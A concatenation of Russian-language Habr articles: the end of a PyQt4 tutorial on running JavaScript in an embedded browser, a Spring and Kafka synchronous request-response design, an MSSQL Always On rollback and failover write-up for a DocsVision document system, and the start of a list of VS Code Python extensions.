Щелкните по списку ссылок и откройте их в меню разработчика (в Chrome это — «проверить элемент» в контекстном списке). Так мы увидим положение текущего элемента в дереве. Список имеет незамысловатый id = «tabs» и является таблицей. Переключитесь в JavaScript консоль и попробуйте выбрать эту таблицу:
`document.getElementById("tabs").`
Посмотрите сколько в ней строк:
`document.getElementById("tabs").rows.length`
И сколько столбцов:
`document.getElementById("tabs").rows(0).cells.length.`
Теперь получим такой же результат в нашем браузере.
> `# -\*- coding: utf-8 -\*-
>
> from basebrowser import \*
>
>
>
> class SimpleJavaScript(BaseBrowser):
>
> def \_\_init\_\_(self, parent = None):
>
> super(SimpleJavaScript, self).\_\_init\_\_(parent)
>
> self.jsButton = QPushButton("ExecuteJS")
>
> self.connect(self.jsButton, SIGNAL("clicked()"), self.jsScript)
>
> self.jsStringEdit = QLineEdit()
>
> self.jsStringEdit.setSizePolicy(QSizePolicy.Expanding, self.jsStringEdit.sizePolicy().verticalPolicy())
>
> self.jsStringEdit.setText("document.getElementById(\"tabs\").rows(0).cells.length")
>
> self.connect(self.jsStringEdit, SIGNAL("returnPressed()"), self.jsScript)
>
> self.jsReturnText = QTextEdit()
>
> self.layout.addWidget(self.jsStringEdit, 2, 0, 1, 1)
>
> self.layout.addWidget(self.jsButton, 2, 1, 1, 1)
>
> self.layout.addWidget(self.jsReturnText, 3, 0, 1, 2)
>
>
>
> def jsScript(self):
>
> jsString = self.jsStringEdit.text()
>
> jsReturn = self.webView.page().currentFrame().evaluateJavaScript(jsString)
>
> self.jsReturnText.setPlainText(jsReturn.toString())
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
> import sys
>
> app = QApplication(sys.argv)
>
> ui = SimpleJavaScript()
>
> ui.show()
>
> sys.exit(app.exec\_())
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код примера 2: [pastebin.com/p4P1ZEtS](http://pastebin.com/p4P1ZEtS)
Итак вычисление JS кода происходит в функции webView.page().currentFrame().evaluateJavaScript(jsString)
Функция evaluateJavaScript(string) принимает в качестве единственного аргумента строку QString, содержащую код на языке JavaScript. Этот код будет выполнен на текущей странице а результат выполнения будет возвращен в виде переменной QVariant. При этом, к сожалению, получить в качестве результата поддерево DOM-элементов у вас не получится, но любую текстовую или числовую информацию — пожалуйста.
#### Пример 3. Создание офлайн контролов
Адрес домашней страницы на этот раз выбран таким поскольку у меня карточка ATI и сижу я под Линуксом, кто знает, тот поймет, что это не от большой любви. На самом деле на странице множество контролов типа Select, для одного из которых мы создадим эквивалент.
> `# -\*- coding: utf-8 -\*-
>
> from basebrowser import \*
>
> from PyQt4.QtGui import \*
>
> from PyQt4.QtCore import \*
>
>
>
> class JSSelectList(QAbstractListModel):
>
> def \_\_init\_\_ (self, \_id, \_jsFunc, parent = None):
>
> super(JSSelectList, self).\_\_init\_\_(parent)
>
> self.id = \_id
>
> self.jsFunc = \_jsFunc
>
>
>
> def data(self, index, role=Qt.DisplayRole):
>
> if not index.isValid():
>
> return QVariant()
>
> if role == Qt.DisplayRole:
>
> jsstring = QString("document.getElementById('%1').options[%2].textContent").arg(self.id).arg(index.row())
>
> jsreturn = self.jsFunc(jsstring)
>
> return jsreturn.toString().trimmed()
>
>
>
> def rowCount(self, index=QModelIndex()):
>
> jsstring = QString("document.getElementById('%1').length").arg(self.id)
>
> jsreturn = self.jsFunc(jsstring)
>
> ok = False
>
> count, ok = jsreturn.toInt()
>
> return count if ok else 0
>
>
>
> def headerData(self, section, orientation, role=Qt.DisplayRole):
>
> if role != Qt.DisplayRole:
>
> return QVariant()
>
> else:
>
> return self.id
>
>
>
> class JSComboBoxDemo(BaseBrowser):
>
> def \_\_init\_\_(self, parent = None):
>
> super(JSComboBoxDemo, self).\_\_init\_\_(parent)
>
> self.vendorComboBox = QComboBox()
>
> id = QString("productLine")
>
> self.vendorListModel = JSSelectList(id, self.webView.page().currentFrame().evaluateJavaScript)
>
> self.vendorComboBox.setModel(self.vendorListModel)
>
> self.connect(self.vendorComboBox, SIGNAL("currentIndexChanged(int)"), self.setSelectOnWebPage);
>
> self.connect(self.webView, SIGNAL("loadFinished(bool)"), self.initComboBox)
>
> self.layout.addWidget(self.vendorComboBox, 2, 0, 1, 1)
>
> self.webView.load(QUrl("http://www.amd.com"))
>
>
>
> def setSelectOnWebPage(self, new\_id):
>
> jsstring = QString("document.getElementById('productLine').selectedIndex=%1").arg(new\_id)
>
> self.webView.page().currentFrame().evaluateJavaScript(jsstring)
>
>
>
> def initComboBox(self):
>
> self.vendorComboBox.setCurrentIndex(0)
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
> import sys
>
> app = QApplication(sys.argv)
>
> ui = JSComboBoxDemo()
>
> ui.show()
>
> sys.exit(app.exec\_())
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код примера 3: [pastebin.com/YzA9hL3H](http://pastebin.com/YzA9hL3H)
При создании таких элементов GUI как таблица, список, dropdown (не знаю как правильно перевести) Qt позволяет использовать удобный MVC подход. Вам нужно лишь описать доступ к вашей модели данных — вам нужно лишь наследовать ваше представление данных от встроенного абстрактного класса и прицепить его к стандартному контролу (у Саммерфилда, это вроде бы 14 глава). В данном случае используется QAbstractListModel, из параметров ей передается только функция исполнения JS и название select`а на странице. Все переопределения стандарты.
В самом примере тоже все достаточно понятно, кроме двух соединений типа сигнал-слот, на которые хотелось бы обратить ваше внимание.
Во-первых, бесполезно пытаться выполнить JavaScript до загрузки страницы, поэтому воспользуемся тем, что при окончании загрузки виджет QWebView формирует сигнал SIGNAL(«loadFinished(bool)»), о котором я уже говорил в первом примере.
`self.connect(self.webView, SIGNAL("loadFinished(bool)"), self.initComboBox)`
В противном случае, если запихнуть строку
`self.vendorComboBox.setCurrentIndex(0)`
в \_\_init\_\_ ни какой инициализации первым значением не произойдет — evaluateJavaScript ничего не вернет, так как страница еще не успеет загрузиться.
Во-вторых, нам нужна синхронизация в обе стороны:
`self.connect(self.vendorComboBox, SIGNAL("currentIndexChanged(int)"), self.setSelectOnWebPage)`
Аналогичным образом можно синхронизировать практически всю информацию на странице, нажимать кнопки, загружать информацию.
Буду рад, если информация окажется для кого-то полезной. Всех с Рождеством и прошедшим Новым Годом.
Использованная литература:
Ж. Бланшет, М. Саммерфилд. Qt 4: Программирование GUI на C++.
Mark Summerfield. Rapid GUI Programming with Python and Qt.
Другие источники:
Различные интернет сайты по JavaScript и PyQt, исходный код интернет-браузера Arora. | https://habr.com/ru/post/111418/ | null | ru | null |
# Синхронный «запрос-ответ» с использованием REST и Apache Kafka
На одном из проектов Группы «Иннотех» появилась задача перевода асинхронных запросов в синхронные. По сути, нужно было подружить REST и Apache Kafka в одном запросе.
Если разложить задачу по полочкам, то у нас есть два сервиса, которые общаются между собой — назовём их А и Б. В сервис А приходит потребитель с запросом на получение данных, которые лежат в сервисе Б. Таким образом, сервис А отправляет по REST запрос данных в Б и ожидает ответ на запрос в Kafka. Пока этот ответ не получен, пользователь ждёт данные.
Казалось бы, популярная задача и ответ должен быть в Google или Stack Overflow. Но удалось найти только решение подобной задачи через готовую библиотеку, соединяющую два сервера с Kafka. Поэтому проблема была решена самостоятельно с помощью Java, фреймворка Spring и небольшой ИТ-смекалки.
Постановка задачи
-----------------
Перед тем как начать реализацию, необходимо поставить задачу и понять, что у нас есть и чего хотим добиться.
У нас есть сервис *Client*, у которого будет один end-point. А end-point, в свою очередь, будет принимать обычную строку, отправлять её второму сервису и ждать от него ответа в Kafka.
И второй сервис — *Server*. Он будет принимать строчку по REST от сервиса *Client*, переводить её в UpperCase и возвращать в ответ по Kafka.
Сервис *Client* ожидает ответ от *Server.* Пока он не получит ответ, пользователь будет ждать результат. При этом может быть такая ситуация, что ожидание ответа затягивается. Чтобы не допустить слишком большой паузы, необходимо предусмотреть прерывание по таймауту, например, в 10 секунд. Но это условие не обязательно, мы должны иметь возможность ожидать ответа бесконечно долго. Но точно не 7,5 миллионов лет ровно, иначе ответ может разочаровать.
Таким образом, можно привести пример работы. Потребитель отправляет в сервис *Client* строку, например, «abc123», и пока не получит ответ от сервиса *Server* будет висеть в ожидании. Ответ от *Server* должен быть «ABC123», который будет возвращён потребителю. Если время ожидание ответа превысит таймаут, то вместо ответа будет возвращён HTTP-код с ошибкой 504 (Gateway Timeout).
Реализация Client
-----------------
Буду описывать только основные моменты. Если требуется код целиком, то ниже прикреплена ссылка на репозиторий.
#### Реализация SenderReceiver
Ядро логики — это реализация класса `SenderReceiver`, который отвечает за «сон» процесса, пока тот не получит данные извне.
Этот класс состоит из двух основных методов: `receive()` — отвечает за засыпание, пока данные не будут получены, и `send()` — получает данные и будит `receive()`. Чтобы понимать, в каком состоянии поток сейчас находится, 1) спит и ждёт (метод `receive()`), или же 2) получает и пробуждает (`send()`), мы заведём флаг `boolean`, который назовём `transfer` и инициализируем значением `true`.
```
private boolean transfer = true;
```
Теперь реализуем `receive()`:
```
public synchronized void receive() {
while (transfer) {
if (timeout != 0 && start.before(new Date(System.currentTimeMillis() - timeout))) {
timeoutException = new TimeoutException();
Thread.currentThread().interrupt();
return;
}
try {
wait(timeout);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
Thread.currentThread().interrupt();
}
```
Поскольку изначально флаг `transfer = true`, то процесс переходит в режим ожидания, пока его не разбудит `send()`, либо же не пройдёт количество миллисекунд, заданное в `timeout`.
Если значение `timeout` отличное от 0, то значит задан механизм прерывания потока по времени выполнения. Для этого мы должны проверять текущее время, смещённое на это значение, со временем старта потока. Если время превышено, то мы сохраняем `TimeoutException()` в переменную, которая изначально равна null, это нам пригодится чуть попозже, и завершаем поток. В случае если флаг `transfer` стал `false` и поток не завершил ожидание по таймауту, мы просто выходим из цикла и завершаем поток.
Можно заметить, что `timeout` со значением 0 уникален. Если он равен 0, то поток будет ожидать пробуждения бесконечно долго. После того как его пробудят и `transfer` перейдёт в значение `false`, поток завершится.
Далее реализуем метод `send()`:
```
public synchronized void send(final T data) {
transfer = false;
this.data = data;
notifyAll();
}
```
Видно, что метод `send()` очень прост. Он принимает данные извне, переводит наш флаг `transfer` в `false`, сохраняет данные и пробуждает все потоки, которые висят в `wait()`.
На самом деле есть ещё один важный вспомогательный метод `getData()`, который либо возвращает данные, которые хранятся в `data`, либо выкидывает ошибку, если соответствующая переменная не null.
```
public T getData() throws TimeoutException {
if (Objects.nonNull(timeoutException))
throw timeoutException;
return data;
}
```
#### Реализация SenderReceiverMap
После того как мы реализовали механизм ожидания ответа и пробуждения при его получении, необходимо реализовать класс, который будет хранить в себе набор таких ожиданий. Это нужно для того, чтобы связать запросы из сервиса *Client* с ответами из сервиса *Server*. Так одновременно множество пользователей могут «дёрнуть» наш end-point, а нам необходимо не запутаться и отдать те данные, которые запросил конкретный потребитель. Назовём этот класс `SenderReceiverMap`.
Очевидно, что ответы от *Server* могут прийти к нам в произвольном порядке — это зависит от времени обработки конкретного запроса. Например, время обработки одного запроса может быть 5 секунда, а второго — 3. Чтобы мы смогли искать связи потока и запроса от пользователя, нам необходимо как-то их уникально помечать. Для этого мы введём `id` запроса. Чтобы мы смогли быстро искать, нам необходимо использовать Map. Так как мы работаем с потоками, то необходимо пользоваться безопасными коллекциями. Итого получится:
```
private final ConcurrentMap senderReceiverConcurrentMap;
```
Как несложно догадаться `T` — это тип id. Он может быть любым, например, Integer, String, UUID. Я предпочитаю UUID.
Для того чтобы добавить новое ожидание, необходимо реализовать метод — он будет принимать заранее сгенерированный `id` запроса, который мы дополнительно передаём в *Server* (но об этом чуть позже) и `timeout`.
```
public Thread add(T id, Long timeout) {
SenderReceiver responseWait = new SenderReceiver(timeout);
senderReceiverConcurrentMap.put(id, responseWait);
Runnable task = responseWait::receive;
return new Thread(task);
}
```
`V` — тип данных сообщения. В нашем случае String. Видно, что мы создаём `SenderReceiver` и добавляем его в коллекцию с соответствующим`id` запроса. Далее создаём новый `Thread()` и тут же возвращаем, чтобы мы смогли приостановить его, пока не получим данные в метод `send()` в классе `SenderReceiver`.
Также потребуются методы, которые смогут вернуть нужный нам `SenderReceiver` из `senderReceiverConcurrentMap`, проверить есть ли `id` в `senderReceiverConcurrentMap`, и метод удаления запроса из `senderReceiverConcurrentMap`. Просто приведу реализацию, так как комментировать тут нечего.
```
public SenderReceiver get(T id) {
return senderReceiverConcurrentMap.get(id);
}
public Boolean containsKey(T id) {
return senderReceiverConcurrentMap.containsKey(id);
}
public SenderReceiver remove(T id) {
return senderReceiverConcurrentMap.remove(id);
}
```
#### Реализация запроса данных у сервиса Server
Теперь необходимо реализовать запрос к сервису *Server* по REST, а также добавить в коллекцию его идентификатор вместе с ожиданием результата.
```
public String get(String text) throws TimeoutException {
UUID requestId = UUID.randomUUID();
while (senderReceiverMap.containsKey(requestId)) {
requestId = UUID.randomUUID();
}
String responseFromServer = this.sendText(requestId, text);
System.out.println("REST response from server: " + responseFromServer);
Thread thread = senderReceiverMap.add(requestId, timeout);
thread.start();
try {
thread.join();
} catch (InterruptedException e) {
e.printStackTrace();
}
String responseKafka;
try {
responseKafka = senderReceiverMap.get(requestId).getData();
} catch (TimeoutException e) {
throw e;
} finally {
senderReceiverMap.remove(requestId);
}
return responseKafka;
}
```
Как видно, в этом методе мы принимаем строку от пользователя. Далее, создаём `id` запроса и отправляем его вместе с полученной строкой. Добавляем запрос вместе с его `id` в коллекцию запросов и запускаем полученный `Thread`. На этом шаге процесс зависнет, пока кто-то не «дёрнет» метод `send()` у объекта `SenderReceiver`, который можно найти по конкретному `id` запроса.
После того как кто-то вызовет метод `send()` и передаст в него данные, либо сам поток завершит существование по `timeout`, метод продолжит работу. Он вызовет `senderReceiverMap.get(requestId).getData()`, который и вернёт либо `TimeoutException`, либо данные, пришедшие в метод `send()`. Осталось только удалить из коллекции уже обработанный запрос и вернуть данные, которые мы получили.
#### Реализация KafkaListener
Из вышеописанного понятно, что нам осталось только вызвать метод `send()` у конкретного объекта ожидания `SenderReceiver`, который можем запросто найти по его `id`. Так как мы синхронизируем запросы с `Kafka`, значит и вызывать метод должны, когда к нам приходят данные из него.
```
@KafkaListener(topics = "${kafka.topic}", groupId = "${kafka.groupId}")
public void listenGroupFoo(ConsumerRecord> record) {
UUID rqId = this.getRqId(record.headers());
if (senderReceiverMap.containsKey(rqId)) {
SenderReceiver stringSenderReceiver = senderReceiverMap.get(rqId);
stringSenderReceiver.send(record.value().getData());
}
}
```
Тут тоже ничего сложного: из `headers` получаем `id` запроса, по нему мы достаём из Map нужный `SenderReceiver` и просто на нём вызываем метод `send()`.
Таким образом, понятно, что необязательно использовать Kafka для синхронизации, мы можем использовать любой другой поток, главное, чтобы были `id` запроса и данные, которые хотим вернуть. Например, можно использовать другой брокер сообщений, либо вообще другой запрос REST. Решение гибкое, главное — вызвать `send()`.
Реализация сервиса Server
-------------------------
Здесь всё предельно просто. Важно не забыть поменять `port`, на котором будет запускаться сервис *Server*, чтобы обеспечить его одновременный запуск с сервисом *Client*. Для этого в `application.properties` устанавливаем следующий параметр:
```
server.port=8888
```
#### Реализация end-point
В сервисе *Server* должен быть end-point, который принимает данные от сервиса *Client* и отправляет результат в Kafka, связанный с `id` запроса.
```
@PostMapping("/test")
public String test(@RequestBody RequestDto request) {
Runnable runnable =
() -> {
System.out.println("Start requestId: " + request.getRequestId() + " text: " + request.getData());
try {
int sleepMs = ThreadLocalRandom.current().nextInt(0, 10000 + 1);
System.out.println("RequestId: " + request.getRequestId() + " sleep: " + sleepMs + "ms");
Thread.sleep(sleepMs);
} catch (InterruptedException e) {
e.printStackTrace();
}
kafkaMessageSender.send(request.getRequestId(), new KafkaMessage<>(request.getData().toUpperCase()));
System.out.println("End requestId: " + request.getRequestId());
};
Thread thread = new Thread(runnable);
thread.start();
return "Ok!";
}
```
Этот end-point принимает структуру, в которой содержатся `requestId` — `id` запроса и `data` — данные, которые необходимо обработать. В нашем случае это строка. Этот end-point создаёт отдельный поток, завершение которого он не дожидается, а сразу же возвращает по REST в ответ строчку `"Ok!"`. В потоке мы эмулируем тяжёлую работу *Server —* для этого мы рандомно генерируем количество миллисекунд, на которые поток заснёт, а после того как проснётся, отправит данные (строку в верхнем регистре) в Kafka.
#### Реализация отправки сообщения в Kafka
Отправка в Kafka выглядит следующим образом:
```
public void send(final UUID requestId, final KafkaMessage message) {
ProducerRecord> record = new ProducerRecord<>(topic, message);
record.headers().add(new RecordHeader(RQ\_ID, requestId.toString().getBytes()));
ListenableFuture>> future = kafkaTemplate.send(record);
future.addCallback((success) -> { }, System.out::println );
kafkaTemplate.flush();
}
```
Мы устанавливаем в `headers` новый header `RQ_ID`, куда записываем `id` запроса, а затем просто вызываем `send()`, в который отправляем обработанные данные.
На этом работа сервиса *Server* заканчивается.
### Выводы
На самом деле в данном решении не обязательно использовать именно REST+Kafka. Как можно заметить, решение универсальное и данную реализацию легко изменить на любые взаимодействия — хоть REST+REST, хоть Kafka+Kafka, хоть на голубиную почту.
Рабочий пример с кодом можно найти [тут](https://github.com/graf4444/spring-rest-kafka-synchronous). | https://habr.com/ru/post/693380/ | null | ru | null |
# СЭД на платформе DocsVision (часть 1): как группы доступности MSSQL помогают быстрее выкатывать изменения в прод
Всем привет, меня зовут Александр, я работаю в команде СЭД компании ДОМ.РФ.
Сначала коротко про СЭД ДОМ.РФ - это система электронного документооборота «СДУ Приоритет» от компании Digital Design, на основе платформы DocsVision одноименного разработчика. Количество пользователей – более 5000 из числа сотрудников ДОМ.РФ и дочерних организаций. Система тяжелая, предельно кастомизированная под наши потребности, продуктивная среда размещена на 27 серверах. СЭД интегрирован с пятью системами не считая BI, еще 3 интеграции находятся в процессе разработки/тестирования.
Изменения в продуктивную среду приходят с двух источников:
* Вендор – обновления платформы, доработки под наши потребности, исправления ошибок, новые модули;
* Внутренняя команда разработки – разработка на уровне БД, а также интеграционные сервисы.
Историй в джире за год набирается несколько сотен, и, хотя большинство из них – мелкие ошибки, которые исправляются в рамках одного-двух релизов, объем изменений достаточно большой. В результате мы подходим к тому, что безотносительно качества разработки и тестирования, сам процесс выкатывания изменений в продуктивную среду имеет вероятность что-либо сломать. Соответственно, план отката изменений – неотъемлемая часть процесса. От плана отката зависит требуемое технологическое окно и, как следствие, способны ли мы проводить работы в ночное время, а может быть в выходные дни, или вообще стоит перенести работы на новогодние праздники (реальная история).
В этой статье я расскажу, как Always On Availability Groups помогает значительно сократить требуемое технологическое окно за счёт оптимальной процедуры отката со стороны БД, также как подружить СЭД с группами доступности. Во второй части статьи речь пойдет о том, как мы провели дедубликацию файлов в СЭД на уровне БД и сократили объем БД на 8Тб без потери информации, и как нам помогли в этом группы доступности.
#### Rollback – наше все!
Рассмотрим откат со стороны БД. Вариантов отката немало, перечислю основные:
* Снапшоты на уровне MSSQL. Хороший вариант, когда не предполагается интенсивная запись/обновление данных, иначе потребуется дополнительное дисковое пространства, а кроме того – просядет скорость записи на диск. Если возникнет нужда отменить тяжелую транзакцию, то придется ждать rollback.
* Снапшоты сервера БД на уровне ВМ. Рабочий вариант, если ожидаются минимальные изменения в БД. Условным минусом является необходимость привлечения специалиста по виртуальной инфраструктуре. Условно, потому что специалист скорее всего и так понадобится для снятия снапшотов серверов приложений.
* Снапшоты LUN на уровне СХД. Зависит от реализации на самой СХД. Главный минус – требуется привлечение специалиста по СХД.
* Классические резервные копии. Хороший вариант, но не тогда, когда объем БД 19Тб.
* Откат через группы доступности.
План отката через группы доступности:
* Останавливаем репликацию нашей БД (Suspend Data Movement) перед основными работами.
* Заглядываем в графану, в которую через заббикс поступает информация о времени последнего коммита на репликах. При остановленной репликации выглядит примерно так:
Как забрать данные о коммитах через View?
View может быть и проще, не обязательно подавать время в формате unixtimestamp на заббикс.
```
CREATE view [dbo].[anik_Monitoring_CommitTime]
as
SELECT
DATEDIFF(s, '1970-01-01 03:00:00', HADRRS.last_commit_time) as last_commit_time
,AVR.replica_server_name
,CASE
when HADRRS.is_primary_replica = 1 then 'Primary'
when HADRRS.is_primary_replica = 0 then 'Secondary'
end as IsPrimary
FROM [master].[sys].[dm_hadr_database_replica_states] as HADRRS
JOIN [master].[sys].[availability_replicas] as AVR
on HADRRS.replica_id = AVR.replica_id
join master.sys.databases as DBS
on HADRRS.database_id = DBS.database_id
where DBS.name = 'Database_Name'
GO
```
Также на заббиксе установлен триггер, который при значительным превышении разницы между значениями первой и второй реплики поднимает в ружье ГДА (группа дежурных администраторов) и команду СЭД.
* В случае успешного завершения включаем репликацию обратно (Resume Data Movement).
* Откат. Что-то пошло не так. Мы удаляем из группы доступности нашу БД, переключаем Primary на вторую реплику и проверяем работоспособность. Процедура отката завершена.
* Удаляем некорректную БД, добавляем БД в группу доступности с запуском automatic seeding. Данный пункт можно выполнить как сразу, так и в удобное время. Влияние на производительность БД некритичное, но требует широкого канала между репликами (мы утилизировали 10 гигабит на 40-45%).
Узнать статус seeding и перезапустить при необходимости.
Узнать статус seeding.
На primary:
```
SELECT * FROM [master].[sys].[dm_hadr_automatic_seeding];
SELECT * FROM [master].[sys].[dm_hadr_physical_seeding_stats];
```
Удобный запрос для seсondary:
```
SELECT
r.session_id, r.status, r.command, r.wait_type ,
r.percent_complete, r.estimated_completion_time
FROM sys.dm_exec_requests r JOIN sys.dm_exec_sessions s
ON r.session_id = s.session_id
WHERE r.session_id <> @@SPID
AND s.is_user_process = 0
AND r.command like 'VDI%'
AND wait_type ='BACKUPTHREAD'
```
Перезапустить seeding если процесс не начался
```
ALTER AVAILABILITY GROUP [sed-ag]
MODIFY REPLICA ON '[db-node2] '
WITH (SEEDING_MODE = MANUAL);
ALTER AVAILABILITY GROUP [sed-ag]
MODIFY REPLICA ON 'db-node2'
WITH (SEEDING_MODE = AUTOMATIC);
```
Итого, мы закладываем в план по 15 минут на подготовку и 15 минут на сам откат, при этом нам не принципиален объем планируемых изменений в БД, и мы уверены, что процедура займет именно столько времени, сколько на нее заложено. И самое главное - за счет отсутствия необходимости привлечения дополнительных специалистов к работе в выходные мы экономим время на обсуждениях и согласованиях.
### Дружим СЭД с группами доступности
Главной проблемой является то, что СЭД использует объекты за пределами основной БД, которые нельзя синхронизировать через группы доступности, а именно:
* Метаданные в базе Temp. При отработке failover мы получаем ошибки отображения карточек в папках веб-клиента, отображается меньше карточек, чем должно быть. Подозреваю, что мы могли бы решить проблему настройками платформы и перенести все необходимое в основную БД, но оценить последствия такого достаточно сложно.
* Jobs MSSQL агента. Мы очень любим эти джобы, в которых крутятся более 100 шагов, реализующих бизнес-логику.
Вторичная реплика имеет 3 режима доступа на чтение (Readable Secondary): Yes, No, Read-intent only.
Yes – разрешены все соединения, но только для операций чтения, Read-intent only – разрешены соединения только на чтение. Нам нужна возможность читать secondary с различных BI, но Read-Only Routing не нужен, поэтому у нас стоит просто Yes. И тут появляется проблема! Бог с ними, с замусоренными логами, а вот некоторые джобы занимаются рассылками отчетности, которую мы не успели перетащить в BI, и они вполне себе сработают на вторичной реплике, что плохо.
Сам факт изменения джобов не является проблемой, несколько минут, которые уйдут на актуализацию, особой роли не сыграют. Автоматизировать этот процесс мы не стали, т.к. он и так предельно простой.
#### Как быстро перенести задания агента
Object Explorer Details (F7) в SQL Management Studio позволяет проводить групповые Script To над джобами, единственный минус – необходимо проверить триггеры, т.к. они ссылаются на джобы по id.
Для решения указанных проблем сначала нам надо определить факт смены статуса реплик. Используем для этого триггеры:
```
USE [msdb]
GO
EXEC msdb.dbo.sp_add_alert @name=N'On change state to primary',
@message_id=0,
@severity=10,
@enabled=1,
@delay_between_responses=0,
@include_event_description_in=0,
@event_description_keyword=N'"Database_Name" is changing roles from "RESOLVING" to "PRIMARY"',
@category_name=N'[Uncategorized]',
@job_id=N'248bb05a-93a1-4f39-a574-354a30c97897'
GO
EXEC msdb.dbo.sp_add_alert @name=N'On change state to secondary',
@message_id=0,
@severity=10,
@enabled=1,
@delay_between_responses=0,
@include_event_description_in=0,
@event_description_keyword=N'to "SECONDARY" because the mirroring session or availability group failed over due to role synchron',
@category_name=N'[Uncategorized]',
@job_id=N'248bb05a-93a1-4f39-a574-354a30c97897'
GO
```
Ключевой параметр – @severity=10, именно такую серьезность имеют события смены состояния реплики. Job\_id - айди джоба который необходимо запустить. И вот мы узнали о событии смены состояния реплики. Теперь пришла очередь нашего универсального джоба. Для контроля ситуаций, когда определенные выключенные джобы не должны быть включены и наоборот, мы используем слова DontTouch в названии. Для пересоздания таблиц метаданных в Temp мы используем платформенную процедуру dvsys\_metadata\_validate\_all\_objects.
Универсальный джоб:
```
if (SELECT sys.fn_hadr_is_primary_replica ('Database_Name')) = 1
begin
exec [Database_Name].[dbo].[dvsys_metadata_validate_all_objects] @RecreateJob = 0, @WithDropExisting = 0;
end
declare @State int
set @State = (SELECT sys.fn_hadr_is_primary_replica ('Database_Name'))
declare @JName as varchar(max)
DECLARE j_cur CURSOR FOR
select
j.Name
from [msdb].[dbo].sysjobs j
where
j.Name not like 'DontTouch%'
OPEN j_cur
FETCH NEXT FROM j_cur INTO @JName
WHILE @@FETCH_STATUS = 0
BEGIN
exec [msdb].[dbo].sp_update_job @job_name = @JName, @enabled = @State
FETCH NEXT FROM j_cur
INTO @JName
END
CLOSE j_cur
DEALLOCATE j_cur
```
Ну и завершающая неожиданная проблема - Invalid Urn filter on server level: filter must be empty or server attribute must be equal with the true server. Ошибка появляется при попытке сервера приложений создать объекты в БД и влияет на корректность отображения папок в web-клиенте. Культурное решение найти не удалось. Обходное магическое решение – подключение сервера приложений к прослушивателю под учетной записью, от которой работает SQL Server.
### О MULTISUBNETFAILOVER замолвите слово
Наша стратегия аварийного восстановления основана на том, что сервера СЭД равномерно распределены по двум ЦОД. Мы используем «родные» для ЦОД подсети, избегая «растянутых», т.е. реплики находятся в разных подсетях. Значение параметра RegisterAllProvidersIP установлено в 1, соответственно DNS запись прослушивателя выглядит так:
Практические выводы:
* Multisubnetfailover позволяет избежать манипуляций с DNS и сопутствующих задержек.
* SQL-client из .NET Framework версии 4.6.1 и выше по умолчанию использует multisubnetfailover=1 и прописывать в строке подключения данный параметр не нужно.
* СЭД на актуальной версии платформы использует .NET Framework версии 4.6.1 и выше, соответственно все работает без проблем.
* СЭД на платформе старых версий, например, DocsVision5 невозможно подружить с подобной конфигурацией, т.к. версия SQL-клиента требует явного указания параметра, а возможность его указания в строке подключения сервера приложений к БД не предусмотрена.
* Для работы Zabbix потребуется драйвер msodbcsql, а также явное указание параметра в строке подключения.
* Если потребитель не может использовать для подключения свежий .Net Framework или msodbcsql с параметром, то придется использовать прямое подключение к одной из реплик.
### Кворумные боли
Кворум в нашем случае – самое узкое место для автоматического фэйловера. Мы используем file share witness. Сама сетевая папка размещена в том же ЦОД2, где размещена вторичная реплика. При отказе ЦОД1 с первичной репликой на борту вторичная реплика не утратит кворума и фэйловер отработает как надо. Но при отказе ЦОД2 (Secondary и witness), Primary останется в одиночестве и утратит кворум, а БД будет отключена и ее придется поднимать вручную. Вопрос, «и так сойдёт» или размещаем witness в ЦОД3?
### FAILOVER на практике
**Как быстро происходит переключение?**
Мгновенно. Но сами сервера приложений будут ожидать истечения таймаутов перед повторным запросом.
**Как выглядит момент переключения реплик для пользователя СЭД?**
Как 20-секундная задумчивость сервера. Все действия, совершенные пользователем в момент переключения завершаются без ошибок.
**Применялся ли фэйловер на практике?**
Да, в ручном режиме. После большого обновления СЭД мы столкнулись с ростом нагрузки на ЦПУ вплоть до 100%, что привело к катастрофическому падению производительности. Manual failover позволил «на лету» добавить ядра ЦПУ и снизить остроту проблемы на время поиска источника повышенной нагрузки. Можно сказать, совместили приятное с полезным, хе-хе.
### Заключение
Выводы о том, действительно ли так хороши расхваливаемые мной группы доступности и курсоры оставлю на откуп читателям. В [следующей части этой статьи](https://habr.com/ru/company/domrf/blog/578000/) расскажу о том, как дедубликация файлов и группы доступности позволили нам сократить объем БД на 8Тб без потери информации. | https://habr.com/ru/post/577900/ | null | ru | null |
# 7 полезных расширений VS Code для Python-разработчиков
> Наиболее важные и полезные расширения VS Code для Python-разработчиков в нашем новом переводе.
Я пользуюсь PyCharm, и меня всё устраивает. Скорее всего, я не буду менять редактор в ближайшее время. Но вокруг VS Code столько шумихи, столько людей в Reddit и Twitter советовали мне перейти на VS Code, что я просто не мог его не попробовать.
И это был замечательный опыт! Хотя мое сердце все еще принадлежит PyCharm, VS Code — классный продукт. Я могу его порекомендовать на все 100%. Он настраиваемый и быстрый, а большое количество расширений делают VS Code очень мощным и функциональным.
Давайте рассмотрим наиболее важные расширения VS Code для Python на 2021 год.
### Python
VS Code поддерживает выделение кода для Python и без этого расширения. Однако я всё же советую его установить. Расширение Python, так же как и сам VS Code, разработано командой Microsoft. Оно так важно для продуктивности Python-разработчиков, что VS Code автоматически предложит вам установить его сразу после открытия первого `.py` файла.
Но зачем нужно это расширение, если у нас уже есть подсветка синтаксиса? Когда мы пишем Python, данное расширение — мощный источник полезных функций:
* IntelliSense: Редактируйте код с возможностями автодополнения, навигации по коду, проверки синтаксиса и др.
* Линтинг (Linting): Дополнительно анализируйте код с помощью `Pylint`, `Flake8` и др.
* Форматирование кода: Оформите код с помощью `black`, `autopep` или `YAPF`.
* Отладка: Отлаживайте Python-скрипты, веб-приложения, а также удаленные или многопоточные процессы.
* Тестирование: Запуск и отладка тестов через Test Explorer с помощью `unittest`, `pytest` или `nose`.
* Jupyter Notebooks: Создавайте и редактируйте блокноты Jupyter, добавляйте и запускайте ячейки (code cells), рисуйте графики, визуализируйте переменные с помощью Variable Explorer, визуализируйте Dataframe с помощью Data Viewer и т. д.
* Окружения: Автоматическая активация и переключение между окружениями `virtualenv`, `venv`, `pipenv`, `conda` и `pyenv`.
* Рефакторинг: Переработайте код на Python с помощью приемов извлечения переменной, извлечения метода и сортировки импортов.
Посмотрите, как работает это расширение:
